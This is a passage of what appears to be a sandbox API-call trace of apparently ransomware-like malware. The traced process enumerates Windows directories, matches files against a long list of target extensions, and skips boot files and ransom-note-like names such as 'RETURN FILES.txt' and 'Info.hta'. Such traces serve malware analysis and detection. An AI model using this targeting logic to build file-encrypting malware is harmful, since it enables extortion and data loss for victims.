ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.235] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.235] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0267.235] FindClose (in: hFindFile=0x31b8e8 | out: hFindFile=0x31b8e8) returned 1 [0267.235] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x421dfa8 | out: hHeap=0x2a0000) returned 1 [0267.235] FindNextFileW (in: hFindFile=0x31b868, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0267.236] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x421dfa8 [0267.236] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b8e8 [0267.236] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.236] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0267.236] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x422f408 [0267.236] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x373ee18 | out: lpFindFileData=0x373ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b928 [0267.236] FindNextFileW (in: hFindFile=0x31b928, lpFindFileData=0x373ee18 | out: lpFindFileData=0x373ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.236] FindNextFileW (in: hFindFile=0x31b928, lpFindFileData=0x373ee18 | out: lpFindFileData=0x373ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0267.236] FindClose (in: hFindFile=0x31b928 | out: hFindFile=0x31b928) returned 1 [0267.236] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x422f408 | out: hHeap=0x2a0000) returned 1 [0267.236] FindNextFileW (in: hFindFile=0x31b8e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0267.236] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x422f408 [0267.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x373ee18 | out: lpFindFileData=0x373ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31b928 [0267.237] FindNextFileW (in: hFindFile=0x31b928, lpFindFileData=0x373ee18 | out: lpFindFileData=0x373ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.237] FindNextFileW (in: hFindFile=0x31b928, lpFindFileData=0x373ee18 | out: lpFindFileData=0x373ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0268.752] FindClose (in: hFindFile=0x31b8a8 | out: hFindFile=0x31b8a8) returned 1 [0268.753] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x4221fb0 | out: hHeap=0x2a0000) returned 1 [0268.753] FindNextFileW (in: hFindFile=0x31b828, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0268.753] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x423dfc8, Size=0x4000) returned 0x423dfc8 [0268.753] FindNextFileW (in: hFindFile=0x31b828, lpFindFileData=0x373f310 | out: lpFindFileData=0x373f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0268.753] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7ff, dwReserved1=0x2000, cFileName=".", cAlternateFileName="")) returned 0x31b8a8 [0268.767] FindNextFileW (in: hFindFile=0x31b8a8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7ff, dwReserved1=0x2000, cFileName="..", cAlternateFileName="")) returned 1 [0268.767] FindNextFileW (in: hFindFile=0x31b8a8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x7ff, dwReserved1=0x2000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0271.284] FindNextFileW (in: hFindFile=0x31b9e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.285] FindNextFileW (in: hFindFile=0x31b9e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x992c8400, ftLastWriteTime.dwHighDateTime=0x1bd5de4, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10253_.GIF", cAlternateFileName="")) returned 1 [0271.285] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.285] lstrlenW (lpString=".3ds") returned 4 [0271.285] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0271.285] lstrlenW (lpString=".3fr") returned 4 [0271.285] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0271.285] lstrlenW (lpString=".3g2") returned 4 [0271.285] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0271.285] lstrlenW (lpString=".3gp") returned 4 [0271.285] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0271.285] lstrlenW (lpString=".7z") returned 3 [0271.285] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.285] lstrlenW (lpString=".accda") returned 6 [0271.285] lstrcmpiW (lpString1=".accda", lpString2="3_.GIF") returned -1 [0271.285] lstrlenW (lpString=".accdb") returned 6 [0271.285] lstrcmpiW (lpString1=".accdb", lpString2="3_.GIF") returned -1 [0271.285] lstrlenW (lpString=".accdc") returned 6 [0271.285] lstrcmpiW (lpString1=".accdc", lpString2="3_.GIF") returned -1 [0271.285] lstrlenW (lpString=".accde") returned 6 [0271.285] lstrcmpiW (lpString1=".accde", lpString2="3_.GIF") returned -1 [0271.285] lstrlenW (lpString=".accdt") returned 6 [0271.285] lstrcmpiW (lpString1=".accdt", lpString2="3_.GIF") returned -1 [0271.286] lstrlenW (lpString=".accdw") returned 6 [0271.286] lstrcmpiW (lpString1=".accdw", lpString2="3_.GIF") returned -1 [0271.286] lstrlenW (lpString=".adb") returned 4 [0271.286] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0271.286] lstrlenW (lpString=".adp") returned 4 [0271.286] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0271.286] lstrlenW (lpString=".ai") returned 3 [0271.286] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0271.286] lstrlenW (lpString=".ai3") returned 4 [0271.286] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0271.286] lstrlenW (lpString=".ai4") returned 4 [0271.286] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0271.286] lstrlenW (lpString=".ai5") returned 4 [0271.286] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0271.286] lstrlenW (lpString=".ai6") returned 4 [0271.286] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0271.286] lstrlenW (lpString=".ai7") returned 4 [0271.286] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0271.286] lstrlenW (lpString=".ai8") returned 4 [0271.286] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0271.286] lstrlenW (lpString=".anim") returned 5 [0271.286] lstrcmpiW (lpString1=".anim", lpString2="_.GIF") returned -1 [0271.286] lstrlenW (lpString=".arw") returned 4 [0271.286] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0271.286] lstrlenW (lpString=".as") returned 3 [0271.286] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0271.286] lstrlenW (lpString=".asa") returned 4 [0271.286] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0271.286] lstrlenW (lpString=".asc") returned 4 [0271.286] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0271.286] lstrlenW (lpString=".ascx") returned 5 [0271.286] lstrcmpiW (lpString1=".ascx", lpString2="_.GIF") returned -1 [0271.286] lstrlenW (lpString=".asm") returned 4 [0271.287] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0271.287] lstrlenW (lpString=".asmx") returned 5 [0271.287] lstrcmpiW (lpString1=".asmx", lpString2="_.GIF") returned -1 [0271.287] lstrlenW (lpString=".asp") returned 4 [0271.287] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0271.287] lstrlenW (lpString=".aspx") returned 5 [0271.287] lstrcmpiW (lpString1=".aspx", lpString2="_.GIF") returned -1 [0271.287] lstrlenW (lpString=".asr") returned 4 [0271.287] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0271.287] lstrlenW (lpString=".asx") returned 4 [0271.287] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0271.287] lstrlenW (lpString=".avi") returned 4 [0271.287] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0271.287] lstrlenW (lpString=".avs") returned 4 [0271.287] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0271.287] lstrlenW (lpString=".backup") returned 7 [0271.287] lstrcmpiW (lpString1=".backup", lpString2="53_.GIF") returned -1 [0271.287] lstrlenW (lpString=".bak") returned 4 [0271.287] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0271.287] lstrlenW (lpString=".bay") returned 4 [0271.287] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0271.287] lstrlenW (lpString=".bd") returned 3 [0271.287] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0271.287] lstrlenW (lpString=".bin") returned 4 [0271.287] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0271.287] lstrlenW (lpString=".bmp") returned 4 [0271.287] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0271.287] lstrlenW (lpString=".bz2") returned 4 [0271.287] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.287] lstrlenW (lpString=".c") returned 2 [0271.287] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0271.287] lstrlenW (lpString=".cdr") returned 4 [0271.287] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0271.288] lstrlenW (lpString=".cer") returned 4 [0271.288] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0271.288] lstrlenW (lpString=".cf") returned 3 [0271.288] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0271.288] lstrlenW (lpString=".cfc") returned 4 [0271.288] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0271.288] lstrlenW (lpString=".cfm") returned 4 [0271.288] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0271.288] lstrlenW (lpString=".cfml") returned 5 [0271.288] lstrcmpiW (lpString1=".cfml", lpString2="_.GIF") returned -1 [0271.288] lstrlenW (lpString=".cfu") returned 4 [0271.288] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0271.288] lstrlenW (lpString=".chm") returned 4 [0271.288] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0271.288] lstrlenW (lpString=".cin") returned 4 [0271.288] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0271.288] lstrlenW (lpString=".class") returned 6 [0271.288] lstrcmpiW (lpString1=".class", lpString2="3_.GIF") returned -1 [0271.288] lstrlenW (lpString=".clx") returned 4 [0271.288] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0271.288] lstrlenW (lpString=".config") returned 7 [0271.288] lstrcmpiW (lpString1=".config", lpString2="53_.GIF") returned -1 [0271.288] lstrlenW (lpString=".cpp") returned 4 [0271.288] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0271.288] lstrlenW (lpString=".cr2") returned 4 [0271.288] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0271.288] lstrlenW (lpString=".crt") returned 4 [0271.288] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0271.288] lstrlenW (lpString=".crw") returned 4 [0271.289] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".cs") returned 3 [0271.289] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0271.289] lstrlenW (lpString=".css") returned 4 [0271.289] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".csv") returned 4 [0271.289] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".cub") returned 4 [0271.289] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".dae") returned 4 [0271.289] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".dat") returned 4 [0271.289] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".db") returned 3 [0271.289] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0271.289] lstrlenW (lpString=".dbf") returned 4 [0271.289] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".dbx") returned 4 [0271.289] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".dc3") returned 4 [0271.289] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".dcm") returned 4 [0271.289] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".dcr") returned 4 [0271.289] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".der") returned 4 [0271.289] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".dib") returned 4 [0271.289] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0271.289] lstrlenW (lpString=".dic") returned 4 [0271.289] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0271.290] lstrlenW (lpString=".dif") returned 4 [0271.290] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0271.290] lstrlenW (lpString=".divx") returned 5 [0271.290] lstrcmpiW (lpString1=".divx", lpString2="_.GIF") returned -1 [0271.290] lstrlenW (lpString=".djvu") returned 5 [0271.290] lstrcmpiW (lpString1=".djvu", lpString2="_.GIF") returned -1 [0271.290] lstrlenW (lpString=".dng") returned 4 [0271.290] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0271.290] lstrlenW (lpString=".doc") returned 4 [0271.290] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.290] lstrlenW (lpString=".docm") returned 5 [0271.290] lstrcmpiW (lpString1=".docm", lpString2="_.GIF") returned -1 [0271.290] lstrlenW (lpString=".docx") returned 5 [0271.290] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0271.290] lstrlenW (lpString=".dot") returned 4 [0271.290] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0271.290] lstrlenW (lpString=".dotm") returned 5 [0271.290] lstrcmpiW (lpString1=".dotm", lpString2="_.GIF") returned -1 [0271.290] lstrlenW (lpString=".dotx") returned 5 [0271.290] lstrcmpiW (lpString1=".dotx", lpString2="_.GIF") returned -1 [0271.290] lstrlenW (lpString=".dpx") returned 4 [0271.290] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".dqy") returned 4 [0271.291] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".dsn") returned 4 [0271.291] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".dt") returned 3 [0271.291] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0271.291] lstrlenW (lpString=".dtd") returned 4 [0271.291] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".dwg") returned 4 [0271.291] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".dwt") returned 4 [0271.291] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".dx") returned 3 [0271.291] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0271.291] lstrlenW (lpString=".dxf") returned 4 [0271.291] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".edml") returned 5 [0271.291] lstrcmpiW (lpString1=".edml", lpString2="_.GIF") returned -1 [0271.291] lstrlenW (lpString=".efd") returned 4 [0271.291] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".elf") returned 4 [0271.291] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".emf") returned 4 [0271.291] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".emz") returned 4 [0271.291] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".epf") returned 4 [0271.291] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".eps") returned 4 [0271.291] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0271.291] lstrlenW (lpString=".epsf") returned 5 [0271.291] lstrcmpiW (lpString1=".epsf", lpString2="_.GIF") returned -1 [0271.291] lstrlenW (lpString=".epsp") returned 5 [0271.291] lstrcmpiW (lpString1=".epsp", lpString2="_.GIF") returned -1 [0271.292] lstrlenW (lpString=".erf") returned 4 [0271.292] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0271.292] lstrlenW (lpString=".exr") returned 4 [0271.292] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0271.292] lstrlenW (lpString=".f4v") returned 4 [0271.292] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0271.292] lstrlenW (lpString=".fido") returned 5 [0271.292] lstrcmpiW (lpString1=".fido", lpString2="_.GIF") returned -1 [0271.292] lstrlenW (lpString=".flm") returned 4 [0271.292] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0271.292] lstrlenW (lpString=".flv") returned 4 [0271.292] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0271.292] lstrlenW (lpString=".frm") returned 4 [0271.292] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0271.292] lstrlenW (lpString=".fxg") returned 4 [0271.292] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0271.292] lstrlenW (lpString=".geo") returned 4 [0271.292] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0271.292] lstrlenW (lpString=".gif") returned 4 [0271.292] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0271.292] lstrlenW (lpString="BD10253_.GIF") returned 12 [0271.292] lstrlenW (lpString=".html") returned 5 [0271.292] lstrcmpiW (lpString1=".html", lpString2="_.GIF") returned -1 [0271.292] lstrlenW (lpString="BD10253_.GIF") returned 12 [0271.292] lstrcmpiW (lpString1="boot.ini", lpString2="BD10253_.GIF") returned 1 [0271.292] lstrcmpiW (lpString1="bootfont.bin", lpString2="BD10253_.GIF") returned 1 [0271.292] lstrcmpiW (lpString1="ntldr", lpString2="BD10253_.GIF") returned 1 [0271.292] lstrcmpiW (lpString1="ntdetect.com", lpString2="BD10253_.GIF") returned 1 [0271.292] lstrcmpiW (lpString1="io.sys", lpString2="BD10253_.GIF") returned 1 [0271.292] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="BD10253_.GIF") returned 1 [0271.293] lstrcmpiW (lpString1="Info.hta", 